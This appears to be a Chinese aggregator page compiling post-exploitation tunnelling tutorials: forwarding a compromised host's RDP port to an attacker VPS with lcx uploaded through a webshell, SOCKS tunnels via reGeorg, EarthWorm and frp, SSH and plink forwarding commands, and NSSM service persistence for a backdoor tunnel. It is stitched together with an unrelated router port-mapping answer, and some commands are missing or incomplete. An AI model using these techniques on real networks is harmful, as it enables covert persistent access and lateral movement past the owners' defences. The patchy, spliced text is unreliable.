本文目录:
- 1、内网渗透-代理篇
- 2、如何用租到的VPS服务器转发内网的端口数据,实现内网穿透服务?
- 3、SSH进行端口转发
- 4、隧道-传输层隧道技术端口转发
内网渗透-代理篇
最近参与内网渗透比较多,认知到自己在会话维持上过于依赖web服务,web服务一旦关闭,便失去了唯一的入口点。
本次以远程桌面连接来进行说明,介绍几种常用的连接方式。
本次目标主机ip为:172.16.86.153
使用条件:服务器通外网,拥有自己的公网ip
msf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。
msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。
转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。
使用条件:服务器通外网,拥有自己的公网ip
lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。
通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。
因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。
p1为监听的端口,p2为转发到的端口。
成功监听到转发出的3389端口。
直接使用远程桌面服务连接1.1.1.1:33889
基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
本次只介绍reGeorg的具体用法。
选择对应脚本的tunnel上传到服务器。
访问上传文件,显示如下表示成功。
打开Proxifier,更改为脚本指定的端口。
本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)
本地电脑直接远程连接目标主机的内网ip。
使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。
目标主机为windows系统,选择上传ew_for_Win.exe文件。
公网vps使用ew_for_linux64文件。
首先在公网vps上执行:
-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。
然后在目标主机中执行:
socks5隧道建立成功,成功把自己的主机带进目标内网。
使用Proxifier,配置ip和连接端口。
连接远程桌面成功。
传送门
使用条件:目标主机通外网,拥有自己的公网ip
首先需要在公网服务器搭建服务端,搭建方法参考: 传送门
要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。
对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。
上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)
公网vps主机上运行frps。
隧道建立成功,连接远程桌面。
类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。
一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。
以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。
启动nssm图形化界面。
选择想要组册服务的exe应用。
设置服务的名字。直接点击install service,如下表示注册服务成功。
状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。
本次列举了一些常用的工具,还有很多工具没有列举到,
功能原理都是大同小异,有那么几个用的顺手就好。
如何用租到的VPS服务器转发内网的端口数据,实现内网穿透服务?
先找到你自己机器的内网地址,打开cmd,输入ipconfig,查看一下IPv4地址就是你的内网IP,再登录路由器找到虚拟服务器,填写你的内网ip地址,内网端口和外网端口根据你的实际需求写,协议类型一般写all就行!
SSH进行端口转发
大前提,windows可以使用freesshd做ssh服务器当一级代理,但是它的端口转发功能有bug,所以还是用linux的ssh吧。
ps:Earthworm虽然简单好用,但是传输的流量是不加密的,已经碰到过好几次反弹回来仍然被安全设备拦截的情况,所以还是老老实实用ssh代理了
安装sshpass,需要gcc编译安装。
ssh会话会在空闲一段时间后自动僵死,但是要注意 进程 和 连接 仍在。虽然客户端也可以设置心跳检测,但在服务端设置更方便。
修改/etc/ssh/sshd_config
p参数表示ssh的端口
ssh命令
ssh -fCN -L 127.0.0.1:1234:192.168.99.125:3389 root@192.168.99.199 -p 53
plink.exe命令
plink.exe -v -C -N -L 127.0.0.1:8888:127.0.0.1:3389 test@117.28.112.73 -P 9398 -pw password
直接访问 本机 开启监听的1234端口,其实等于通过 远程主机 192.168.99.199来访问 远程主机 192.168.99.125上的3389端口
-n 将 stdio 重定向到 /dev/null,与 -f 配合使用
-T 不分配 TTY 只做代理用
-q 安静模式,不输出 错误/警告 信息
-f 后台连接
-N 连接后不取得shell
-C 启动压缩,加快速度
(如不理解参数可以去掉他们看效果)
-L 1234为建立隧道后本地监听的端口,192.168.99.125是隧道出口转发到的目标地址(即xp靶机),3389是目标端口,root@192.168.99.199是建立隧道的另一方,即rolling版登录的账号和ip,-p 53是rolling版的监听端口。
ssh -fCN -R 0.0.0.0:9999:192.168.1.1:80 root@test.com
0.0.0.0表示vps上监听所有地址。
直接访问 远程主机 上开启监听的9999端口就相当于通过 本机 来访问192.168.1.1上的80端口。
其中有个 大坑 。
bind_address 参数默认值为空,等价于
并不意味着任何机器,都可以通过 VPS 来访问 内网 机器。建立连接后,只能在 VPS ( sshd server ) 本地 访问 「内网」 机器。要在办公网的笔记本上通过 VPS 映射的端口来访问 内网 机器,需要修改vps上的/etc/ssh/sshd_config文件,启用 VPS sshd 的 GatewayPorts 参数,set to yes or clientspecified ,允许任意请求地址,通过转发的端口访问内网机器。
-D socks代理,不多解释了。
-g 监听所有地址,允许其他主机连接。
隧道-传输层隧道技术端口转发
在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。
传输层隧道技术主要用到的工具有lcx ,netcat, PowerCat等
lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。Windows的为lcx.exe,Linux的为portmap。
下载地址:
一个正常的socket套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另一端为客户端,通过给出服务器的IP和端口,与服务端建立连接。
在 受害机 ( Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS(Windows)的8000端口上。
lcx.exe -slave 8000 127.0.0.1 3389
在 攻击机 上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面
lcx.exe -listen 8000 4444
有些时候,防火墙会禁用一些端口,我们可以使用
Lcx.exe –tran 5555 3389
【端口转发vps】的内容来源于互联网,如引用不当,请联系我们修改。
网友留言: